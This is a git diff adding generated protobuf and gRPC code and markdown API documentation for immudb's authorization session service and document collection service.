+ "type": "string", + "description": "A URL/resource name that uniquely identifies the type of the serialized\nprotocol buffer message. This string must contain at least\none \"/\" character. The last segment of the URL's path must represent\nthe fully qualified name of the type (as in\n`path/google.protobuf.Duration`). The name should be in a canonical form\n(e.g., leading \".\" is not accepted).\n\nIn practice, teams usually precompile into the binary all types that they\nexpect it to use in the context of Any. However, for URLs which use the\nscheme `http`, `https`, or no scheme, one can optionally set up a type\nserver that maps type URLs to message definitions as follows:\n\n* If no scheme is provided, `https` is assumed.\n* An HTTP GET on the URL must yield a [google.protobuf.Type][]\n value in binary format, or produce an error.\n* Applications are allowed to cache lookup results based on the\n URL, or have them precompiled into a binary to avoid any\n lookup. Therefore, binary compatibility needs to be preserved\n on changes to types. (Use versioned type names to manage\n breaking changes.)\n\nNote: this functionality is not currently available in the official\nprotobuf release, and it is not used for type URLs beginning with\ntype.googleapis.com.\n\nSchemes other than `http`, `https` (or the empty scheme) might be\nused with implementation specific semantics." + }, + "value": { + "type": "string", + "format": "byte", + "description": "Must be a valid serialized protocol buffer of the above specified type." + } + }, + "description": "`Any` contains an arbitrary serialized protocol buffer message along with a\nURL that describes the type of the serialized message.\n\nProtobuf library provides support to pack/unpack Any values in the form\nof utility functions or additional generated methods of the Any type.\n\nExample 1: Pack and unpack a message in C++.\n\n Foo foo = ...;\n Any any;\n any.PackFrom(foo);\n ...\n if (any.UnpackTo(\u0026foo)) {\n ...\n }\n\nExample 2: Pack and unpack a message in Java.\n\n Foo foo = ...;\n Any any = Any.pack(foo);\n ...\n if (any.is(Foo.class)) {\n foo = any.unpack(Foo.class);\n }\n\n Example 3: Pack and unpack a message in Python.\n\n foo = Foo(...)\n any = Any()\n any.Pack(foo)\n ...\n if any.Is(Foo.DESCRIPTOR):\n any.Unpack(foo)\n ...\n\n Example 4: Pack and unpack a message in Go\n\n foo := \u0026pb.Foo{...}\n any, err := ptypes.MarshalAny(foo)\n ...\n foo := \u0026pb.Foo{}\n if err := ptypes.UnmarshalAny(any, foo); err != nil {\n ...\n }\n\nThe pack methods provided by protobuf library will by default use\n'type.googleapis.com/full.type.name' as the type URL and the unpack\nmethods only use the fully qualified type name after the last '/'\nin the type URL, for example \"foo.bar.com/x/y.z\" will yield type\nname \"y.z\".\n\n\nJSON\n====\nThe JSON representation of an `Any` value uses the regular\nrepresentation of the deserialized, embedded message, with an\nadditional field `@type` which contains the type URL. Example:\n\n package google.profile;\n message Person {\n string first_name = 1;\n string last_name = 2;\n }\n\n {\n \"@type\": \"type.googleapis.com/google.profile.Person\",\n \"firstName\": \u003cstring\u003e,\n \"lastName\": \u003cstring\u003e\n }\n\nIf the embedded message type is well-known and has a custom JSON\nrepresentation, that representation will be embedded adding a field\n`value` which holds the custom JSON in addition to the `@type`\nfield. Example (for message [google.protobuf.Duration][]):\n\n {\n \"@type\": \"type.googleapis.com/google.protobuf.Duration\",\n \"value\": \"1.212s\"\n }" + }, + "runtimeError": { + "type": "object", + "properties": { + "error": { + "type": "string" + }, + "code": { + "type": "integer", + "format": "int32" + }, + "message": { + "type": "string" + }, + "details": { + "type": "array", + "items": { + "$ref": "#/definitions/protobufAny" + } + } + } + } + } +} diff --git a/pkg/api/authorizationschema/authorizationschema_grpc.pb.go b/pkg/api/authorizationschema/authorizationschema_grpc.pb.go new file mode 100644 index 0000000000..0b0d31eb8a --- /dev/null +++ b/pkg/api/authorizationschema/authorizationschema_grpc.pb.go @@ -0,0 +1,99 @@ +// Code generated by protoc-gen-go-grpc. DO NOT EDIT. + +package authorizationschema + +import ( + context "context" + grpc "google.golang.org/grpc" + codes "google.golang.org/grpc/codes" + status "google.golang.org/grpc/status" +) + +// This is a compile-time assertion to ensure that this generated file +// is compatible with the grpc package it is being compiled against. +// Requires gRPC-Go v1.32.0 or later. +const _ = grpc.SupportPackageIsVersion7 + +// AuthorizationServiceClient is the client API for AuthorizationService service. +// +// For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. +type AuthorizationServiceClient interface { + OpenSessionV2(ctx context.Context, in *OpenSessionRequestV2, opts ...grpc.CallOption) (*OpenSessionResponseV2, error) +} + +type authorizationServiceClient struct { + cc grpc.ClientConnInterface +} + +func NewAuthorizationServiceClient(cc grpc.ClientConnInterface) AuthorizationServiceClient { + return &authorizationServiceClient{cc} +} + +func (c *authorizationServiceClient) OpenSessionV2(ctx context.Context, in *OpenSessionRequestV2, opts ...grpc.CallOption) (*OpenSessionResponseV2, error) { + out := new(OpenSessionResponseV2) + err := c.cc.Invoke(ctx, "/immudb.authorizationschema.AuthorizationService/OpenSessionV2", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +// AuthorizationServiceServer is the server API for AuthorizationService service. +// All implementations should embed UnimplementedAuthorizationServiceServer +// for forward compatibility +type AuthorizationServiceServer interface { + OpenSessionV2(context.Context, *OpenSessionRequestV2) (*OpenSessionResponseV2, error) +} + +// UnimplementedAuthorizationServiceServer should be embedded to have forward compatible implementations. +type UnimplementedAuthorizationServiceServer struct { +} + +func (UnimplementedAuthorizationServiceServer) OpenSessionV2(context.Context, *OpenSessionRequestV2) (*OpenSessionResponseV2, error) { + return nil, status.Errorf(codes.Unimplemented, "method OpenSessionV2 not implemented") +} + +// UnsafeAuthorizationServiceServer may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to AuthorizationServiceServer will +// result in compilation errors. +type UnsafeAuthorizationServiceServer interface { + mustEmbedUnimplementedAuthorizationServiceServer() +} + +func RegisterAuthorizationServiceServer(s grpc.ServiceRegistrar, srv AuthorizationServiceServer) { + s.RegisterService(&AuthorizationService_ServiceDesc, srv) +} + +func _AuthorizationService_OpenSessionV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(OpenSessionRequestV2) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(AuthorizationServiceServer).OpenSessionV2(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.authorizationschema.AuthorizationService/OpenSessionV2", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(AuthorizationServiceServer).OpenSessionV2(ctx, req.(*OpenSessionRequestV2)) + } + return interceptor(ctx, in, info, handler) +} + +// AuthorizationService_ServiceDesc is the grpc.ServiceDesc for AuthorizationService service. +// It's only intended for direct use with grpc.RegisterService, +// and not to be introspected or modified (even as a copy) +var AuthorizationService_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.authorizationschema.AuthorizationService", + HandlerType: (*AuthorizationServiceServer)(nil), + Methods: []grpc.MethodDesc{ + { + MethodName: "OpenSessionV2", + Handler: _AuthorizationService_OpenSessionV2_Handler, + }, + }, + Streams: []grpc.StreamDesc{}, + Metadata: "authorizationschema.proto", +} diff --git a/pkg/api/authorizationschema/docs.md b/pkg/api/authorizationschema/docs.md new file mode 100644 index 0000000000..c501df81f3 --- /dev/null +++ b/pkg/api/authorizationschema/docs.md @@ -0,0 +1,95 @@ +# Protocol Documentation + + +## Table of Contents + +- [authorizationschema.proto](#authorizationschema.proto) + - [OpenSessionRequestV2](#immudb.authorizationschema.OpenSessionRequestV2) + - [OpenSessionResponseV2](#immudb.authorizationschema.OpenSessionResponseV2) + + - [AuthorizationService](#immudb.authorizationschema.AuthorizationService) + +- [Scalar Value Types](#scalar-value-types) + + + + +

Top

+ +## authorizationschema.proto + + + + + +### OpenSessionRequestV2 + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| username | [string](#string) | | | +| password | [string](#string) | | | +| database | [string](#string) | | | + + + + + + + + +### OpenSessionResponseV2 + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| token | [string](#string) | | | +| expirationTimestamp | [int32](#int32) | | | +| inactivityTimestamp | [int32](#int32) | | | + + + + + + + + + + + + + + +### AuthorizationService + + +| Method Name | Request Type | Response Type | Description | +| ----------- | ------------ | ------------- | ------------| +| OpenSessionV2 | [OpenSessionRequestV2](#immudb.authorizationschema.OpenSessionRequestV2) | [OpenSessionResponseV2](#immudb.authorizationschema.OpenSessionResponseV2) | | + + + + + +## Scalar Value Types + +| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | +| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | +| double | | double | double | float | float64 | double | float | Float | +| float | | float | float | float | float32 | float | float | Float | +| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | +| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | +| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | +| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | +| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | +| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | +| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | + diff --git a/pkg/api/documentsschema/docs.md b/pkg/api/documentsschema/docs.md new file mode 100644 index 0000000000..4af42a7ad6 --- /dev/null +++ b/pkg/api/documentsschema/docs.md @@ -0,0 +1,447 @@ +# Protocol Documentation + + +## Table of Contents + +- [documentsschema.proto](#documentsschema.proto) + - [CollectionCreateRequest](#immudb.documentsschema.CollectionCreateRequest) + - [CollectionCreateRequest.IndexKeysEntry](#immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry) + - [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry) + - [CollectionCreateResponse](#immudb.documentsschema.CollectionCreateResponse) + - [CollectionDeleteRequest](#immudb.documentsschema.CollectionDeleteRequest) + - [CollectionDeleteResponse](#immudb.documentsschema.CollectionDeleteResponse) + - [CollectionGetRequest](#immudb.documentsschema.CollectionGetRequest) + - [CollectionGetResponse](#immudb.documentsschema.CollectionGetResponse) + - [CollectionInformation](#immudb.documentsschema.CollectionInformation) + - [CollectionInformation.IndexKeysEntry](#immudb.documentsschema.CollectionInformation.IndexKeysEntry) + - [CollectionInformation.PrimaryKeysEntry](#immudb.documentsschema.CollectionInformation.PrimaryKeysEntry) + - [CollectionListRequest](#immudb.documentsschema.CollectionListRequest) + - [CollectionListResponse](#immudb.documentsschema.CollectionListResponse) + - [DocumentInsertRequest](#immudb.documentsschema.DocumentInsertRequest) + - [DocumentInsertResponse](#immudb.documentsschema.DocumentInsertResponse) + - [DocumentQuery](#immudb.documentsschema.DocumentQuery) + - [DocumentSearchRequest](#immudb.documentsschema.DocumentSearchRequest) + - [DocumentSearchResponse](#immudb.documentsschema.DocumentSearchResponse) + - [IndexOption](#immudb.documentsschema.IndexOption) + - [IndexValue](#immudb.documentsschema.IndexValue) + - [Proof](#immudb.documentsschema.Proof) + + - [IndexType](#immudb.documentsschema.IndexType) + - [QueryOperator](#immudb.documentsschema.QueryOperator) + + - [DocumentService](#immudb.documentsschema.DocumentService) + +- [Scalar Value Types](#scalar-value-types) + + + + +

Top

+ +## documentsschema.proto + + + + + +### CollectionCreateRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| primaryKeys | [CollectionCreateRequest.PrimaryKeysEntry](#immudb.documentsschema.CollectionCreateRequest.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionCreateRequest.IndexKeysEntry](#immudb.documentsschema.CollectionCreateRequest.IndexKeysEntry) | repeated | | + + + + + + + + +### CollectionCreateRequest.IndexKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | + + + + + + + + +### CollectionCreateRequest.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | + + + + + + + + +### CollectionCreateResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [CollectionInformation](#immudb.documentsschema.CollectionInformation) | | | + + + + + + + + +### CollectionDeleteRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + +### CollectionDeleteResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| response | [google.protobuf.Empty](#google.protobuf.Empty) | | | + + + + + + + + +### CollectionGetRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + +### CollectionGetResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [CollectionInformation](#immudb.documentsschema.CollectionInformation) | | | + + + + + + + + +### CollectionInformation + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | +| primaryKeys | [CollectionInformation.PrimaryKeysEntry](#immudb.documentsschema.CollectionInformation.PrimaryKeysEntry) | repeated | | +| indexKeys | [CollectionInformation.IndexKeysEntry](#immudb.documentsschema.CollectionInformation.IndexKeysEntry) | repeated | | + + + + + + + + +### CollectionInformation.IndexKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | + + + + + + + + +### CollectionInformation.PrimaryKeysEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [IndexOption](#immudb.documentsschema.IndexOption) | | | + + + + + + + + +### CollectionListRequest + + + + + + + + + +### CollectionListResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collections | [CollectionInformation](#immudb.documentsschema.CollectionInformation) | repeated | | + + + + + + + + +### DocumentInsertRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| document | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | + + + + + + + + +### DocumentInsertResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| proof | [immudb.schema.VerifiableTx](#immudb.schema.VerifiableTx) | | | + + + + + + + + +### DocumentQuery + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| field | [string](#string) | | | +| operator | [QueryOperator](#immudb.documentsschema.QueryOperator) | | | +| value | [google.protobuf.Value](#google.protobuf.Value) | | | + + + + + + + + +### DocumentSearchRequest + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| collection | [string](#string) | | | +| query | [DocumentQuery](#immudb.documentsschema.DocumentQuery) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | + + + + + + + + +### DocumentSearchResponse + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | +| page | [uint32](#uint32) | | | +| perPage | [uint32](#uint32) | | | +| entriesLeft | [uint32](#uint32) | | | + + + + + + + + +### IndexOption + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| type | [IndexType](#immudb.documentsschema.IndexType) | | | + + + + + + + + +### IndexValue + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| null_value | [google.protobuf.NullValue](#google.protobuf.NullValue) | | | +| number_value | [double](#double) | | | +| string_value | [string](#string) | | | +| bool_value | [bool](#bool) | | | + + + + + + + + +### Proof + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| name | [string](#string) | | | + + + + + + + + + + +### IndexType + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| DOUBLE | 0 | | +| INTEGER | 1 | | +| STRING | 2 | | + + + + + +### QueryOperator + + +| Name | Number | Description | +| ---- | ------ | ----------- | +| EQ | 0 | | +| GT | 1 | | +| GTE | 2 | | +| LT | 3 | | +| LTE | 4 | | +| LIKE | 5 | | + + + + + + + + + +### DocumentService + + +| Method Name | Request Type | Response Type | Description | +| ----------- | ------------ | ------------- | ------------| +| DocumentInsert | [DocumentInsertRequest](#immudb.documentsschema.DocumentInsertRequest) | [DocumentInsertResponse](#immudb.documentsschema.DocumentInsertResponse) | | +| DocumentSearch | [DocumentSearchRequest](#immudb.documentsschema.DocumentSearchRequest) | [DocumentSearchResponse](#immudb.documentsschema.DocumentSearchResponse) | | +| CollectionCreate | [CollectionCreateRequest](#immudb.documentsschema.CollectionCreateRequest) | [CollectionCreateResponse](#immudb.documentsschema.CollectionCreateResponse) | | +| CollectionGet | [CollectionGetRequest](#immudb.documentsschema.CollectionGetRequest) | [CollectionGetResponse](#immudb.documentsschema.CollectionGetResponse) | | +| CollectionList | [CollectionListRequest](#immudb.documentsschema.CollectionListRequest) | [CollectionListResponse](#immudb.documentsschema.CollectionListResponse) | | +| CollectionDelete | [CollectionDeleteRequest](#immudb.documentsschema.CollectionDeleteRequest) | [CollectionDeleteResponse](#immudb.documentsschema.CollectionDeleteResponse) | | + + + + + +## Scalar Value Types + +| .proto Type | Notes | C++ | Java | Python | Go | C# | PHP | Ruby | +| ----------- | ----- | --- | ---- | ------ | -- | -- | --- | ---- | +| double | | double | double | float | float64 | double | float | Float | +| float | | float | float | float | float32 | float | float | Float | +| int32 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint32 instead. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| int64 | Uses variable-length encoding. Inefficient for encoding negative numbers – if your field is likely to have negative values, use sint64 instead. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| uint32 | Uses variable-length encoding. | uint32 | int | int/long | uint32 | uint | integer | Bignum or Fixnum (as required) | +| uint64 | Uses variable-length encoding. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum or Fixnum (as required) | +| sint32 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int32s. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sint64 | Uses variable-length encoding. Signed int value. These more efficiently encode negative numbers than regular int64s. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| fixed32 | Always four bytes. More efficient than uint32 if values are often greater than 2^28. | uint32 | int | int | uint32 | uint | integer | Bignum or Fixnum (as required) | +| fixed64 | Always eight bytes. More efficient than uint64 if values are often greater than 2^56. | uint64 | long | int/long | uint64 | ulong | integer/string | Bignum | +| sfixed32 | Always four bytes. | int32 | int | int | int32 | int | integer | Bignum or Fixnum (as required) | +| sfixed64 | Always eight bytes. | int64 | long | int/long | int64 | long | integer/string | Bignum | +| bool | | bool | boolean | boolean | bool | bool | boolean | TrueClass/FalseClass | +| string | A string must always contain UTF-8 encoded or 7-bit ASCII text. | string | String | str/unicode | string | string | string | String (UTF-8) | +| bytes | May contain any arbitrary sequence of bytes. | string | ByteString | str | []byte | ByteString | string | String (ASCII-8BIT) | + diff --git a/pkg/api/documentsschema/documentsschema.pb.go b/pkg/api/documentsschema/documentsschema.pb.go new file mode 100644 index 0000000000..0a4f2f3c6f --- /dev/null +++ b/pkg/api/documentsschema/documentsschema.pb.go @@ -0,0 +1,1658 @@ +// Code generated by protoc-gen-go. DO NOT EDIT. +// versions: +// protoc-gen-go v1.28.0 +// protoc v3.12.4 +// source: documentsschema.proto + +package documentsschema + +import ( + schema "github.com/codenotary/immudb/pkg/api/schema" + empty "github.com/golang/protobuf/ptypes/empty" + _struct "github.com/golang/protobuf/ptypes/struct" + _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" + _ "google.golang.org/genproto/googleapis/api/annotations" + protoreflect "google.golang.org/protobuf/reflect/protoreflect" + protoimpl "google.golang.org/protobuf/runtime/protoimpl" + reflect "reflect" + sync "sync" +) + +const ( + // Verify that this generated code is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion) + // Verify that runtime/protoimpl is sufficiently up-to-date. + _ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20) +) + +type QueryOperator int32 + +const ( + QueryOperator_EQ QueryOperator = 0 + QueryOperator_GT QueryOperator = 1 + QueryOperator_GTE QueryOperator = 2 + QueryOperator_LT QueryOperator = 3 + QueryOperator_LTE QueryOperator = 4 + QueryOperator_LIKE QueryOperator = 5 +) + +// Enum value maps for QueryOperator. +var ( + QueryOperator_name = map[int32]string{ + 0: "EQ", + 1: "GT", + 2: "GTE", + 3: "LT", + 4: "LTE", + 5: "LIKE", + } + QueryOperator_value = map[string]int32{ + "EQ": 0, + "GT": 1, + "GTE": 2, + "LT": 3, + "LTE": 4, + "LIKE": 5, + } +) + +func (x QueryOperator) Enum() *QueryOperator { + p := new(QueryOperator) + *p = x + return p +} + +func (x QueryOperator) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (QueryOperator) Descriptor() protoreflect.EnumDescriptor { + return file_documentsschema_proto_enumTypes[0].Descriptor() +} + +func (QueryOperator) Type() protoreflect.EnumType { + return &file_documentsschema_proto_enumTypes[0] +} + +func (x QueryOperator) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use QueryOperator.Descriptor instead. +func (QueryOperator) EnumDescriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{0} +} + +type IndexType int32 + +const ( + IndexType_DOUBLE IndexType = 0 + IndexType_INTEGER IndexType = 1 + IndexType_STRING IndexType = 2 +) + +// Enum value maps for IndexType. +var ( + IndexType_name = map[int32]string{ + 0: "DOUBLE", + 1: "INTEGER", + 2: "STRING", + } + IndexType_value = map[string]int32{ + "DOUBLE": 0, + "INTEGER": 1, + "STRING": 2, + } +) + +func (x IndexType) Enum() *IndexType { + p := new(IndexType) + *p = x + return p +} + +func (x IndexType) String() string { + return protoimpl.X.EnumStringOf(x.Descriptor(), protoreflect.EnumNumber(x)) +} + +func (IndexType) Descriptor() protoreflect.EnumDescriptor { + return file_documentsschema_proto_enumTypes[1].Descriptor() +} + +func (IndexType) Type() protoreflect.EnumType { + return &file_documentsschema_proto_enumTypes[1] +} + +func (x IndexType) Number() protoreflect.EnumNumber { + return protoreflect.EnumNumber(x) +} + +// Deprecated: Use IndexType.Descriptor instead. +func (IndexType) EnumDescriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{1} +} + +type DocumentInsertRequest struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document []*_struct.Struct `protobuf:"bytes,2,rep,name=document,proto3" json:"document,omitempty"` +} + +func (x *DocumentInsertRequest) Reset() { + *x = DocumentInsertRequest{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[0] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertRequest) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertRequest) ProtoMessage() {} + +func (x *DocumentInsertRequest) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[0] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertRequest.ProtoReflect.Descriptor instead. +func (*DocumentInsertRequest) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{0} +} + +func (x *DocumentInsertRequest) GetCollection() string { + if x != nil { + return x.Collection + } + return "" +} + +func (x *DocumentInsertRequest) GetDocument() []*_struct.Struct { + if x != nil { + return x.Document + } + return nil +} + +type DocumentInsertResponse struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Proof *schema.VerifiableTx `protobuf:"bytes,1,opt,name=proof,proto3" json:"proof,omitempty"` +} + +func (x *DocumentInsertResponse) Reset() { + *x = DocumentInsertResponse{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[1] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentInsertResponse) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentInsertResponse) ProtoMessage() {} + +func (x *DocumentInsertResponse) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[1] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use DocumentInsertResponse.ProtoReflect.Descriptor instead. +func (*DocumentInsertResponse) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{1} +} + +func (x *DocumentInsertResponse) GetProof() *schema.VerifiableTx { + if x != nil { + return x.Proof + } + return nil +} + +type IndexValue struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + // Types that are assignable to Kind: + // + // *IndexValue_NullValue + // *IndexValue_NumberValue + // *IndexValue_StringValue + // *IndexValue_BoolValue + Kind isIndexValue_Kind `protobuf_oneof:"kind"` +} + +func (x *IndexValue) Reset() { + *x = IndexValue{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[2] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *IndexValue) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*IndexValue) ProtoMessage() {} + +func (x *IndexValue) ProtoReflect() protoreflect.Message { + mi := &file_documentsschema_proto_msgTypes[2] + if protoimpl.UnsafeEnabled && x != nil { + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + if ms.LoadMessageInfo() == nil { + ms.StoreMessageInfo(mi) + } + return ms + } + return mi.MessageOf(x) +} + +// Deprecated: Use IndexValue.ProtoReflect.Descriptor instead. +func (*IndexValue) Descriptor() ([]byte, []int) { + return file_documentsschema_proto_rawDescGZIP(), []int{2} +} + +func (m *IndexValue) GetKind() isIndexValue_Kind { + if m != nil { + return m.Kind + } + return nil +} + +func (x *IndexValue) GetNullValue() _struct.NullValue { + if x, ok := x.GetKind().(*IndexValue_NullValue); ok { + return x.NullValue + } + return _struct.NullValue(0) +} + +func (x *IndexValue) GetNumberValue() float64 { + if x, ok := x.GetKind().(*IndexValue_NumberValue); ok { + return x.NumberValue + } + return 0 +} + +func (x *IndexValue) GetStringValue() string { + if x, ok := x.GetKind().(*IndexValue_StringValue); ok { + return x.StringValue + } + return "" +} + +func (x *IndexValue) GetBoolValue() bool { + if x, ok := x.GetKind().(*IndexValue_BoolValue); ok { + return x.BoolValue + } + return false +} + +type isIndexValue_Kind interface { + isIndexValue_Kind() +} + +type IndexValue_NullValue struct { + NullValue _struct.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` +} + +type IndexValue_NumberValue struct { + NumberValue float64 `protobuf:"fixed64,2,opt,name=number_value,json=numberValue,proto3,oneof"` +} + +type IndexValue_StringValue struct { + StringValue string `protobuf:"bytes,3,opt,name=string_value,json=stringValue,proto3,oneof"` +} + +type IndexValue_BoolValue struct { + BoolValue bool `protobuf:"varint,4,opt,name=bool_value,json=boolValue,proto3,oneof"` +} + +func (*IndexValue_NullValue) isIndexValue_Kind() {} + +func (*IndexValue_NumberValue) isIndexValue_Kind() {} + +func (*IndexValue_StringValue) isIndexValue_Kind() {} + +func (*IndexValue_BoolValue) isIndexValue_Kind() {} + +type DocumentQuery struct { + state protoimpl.MessageState + sizeCache protoimpl.SizeCache + unknownFields protoimpl.UnknownFields + + Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` + Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentsschema.QueryOperator" json:"operator,omitempty"` + Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` +} + +func (x *DocumentQuery) Reset() { + *x = DocumentQuery{} + if protoimpl.UnsafeEnabled { + mi := &file_documentsschema_proto_msgTypes[3] + ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) + ms.StoreMessageInfo(mi) + } +} + +func (x *DocumentQuery) String() string { + return protoimpl.X.MessageStringOf(x) +} + +func (*DocumentQuery) ProtoMessage() {} + +func (x *DocumentQuery) ProtoReflect() protoreflect.Message { 